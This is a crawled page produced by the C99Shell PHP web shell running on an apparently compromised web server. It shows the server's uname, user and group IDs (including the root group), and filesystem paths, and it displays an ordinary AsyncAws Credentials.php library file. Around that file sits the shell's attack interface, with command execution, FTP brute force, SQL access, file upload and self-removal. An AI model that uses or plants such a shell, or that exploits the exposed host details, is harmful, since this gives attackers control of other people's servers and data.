!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/async-aws/core/src/Credentials/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Credentials.php (1.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
AsyncAws\Core\Credentials;

use 
AsyncAws\Core\Configuration;

/**
 * Immutable store for Credentials parameters.
 *
 * @author Jérémy Derussé <jeremy@derusse.com>
 */
final class Credentials implements CredentialProvider
{
    private const 
EXPIRATION_DRIFT 30;

    private 
$accessKeyId;

    private 
$secretKey;

    private 
$sessionToken;

    private 
$expireDate;

    public function 
__construct(
        
string $accessKeyId,
        
string $secretKey,
        ?
string $sessionToken null,
        ?
\DateTimeImmutable $expireDate null
    
) {
        
$this->accessKeyId $accessKeyId;
        
$this->secretKey $secretKey;
        
$this->sessionToken $sessionToken;
        
$this->expireDate $expireDate;
    }

    public function 
getAccessKeyId(): string
    
{
        return 
$this->accessKeyId;
    }

    public function 
getSecretKey(): string
    
{
        return 
$this->secretKey;
    }

    public function 
getSessionToken(): ?string
    
{
        return 
$this->sessionToken;
    }

    public function 
getExpireDate(): ?\DateTimeImmutable
    
{
        return 
$this->expireDate;
    }

    public function 
isExpired(): bool
    
{
        return 
null !== $this->expireDate && new \DateTimeImmutable() >= $this->expireDate;
    }

    public function 
getCredentials(Configuration $configuration): ?Credentials
    
{
        return 
$this->isExpired() ? null $this;
    }

    public static function 
adjustExpireDate(\DateTimeImmutable $expireDate, ?\DateTimeImmutable $reference null): \DateTimeImmutable
    
{
        if (
null !== $reference) {
            
$expireDate = (new \DateTimeImmutable())->add($reference->diff($expireDate));
        }

        return 
$expireDate->sub(new \DateInterval(sprintf('PT%dS'self::EXPIRATION_DRIFT)));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--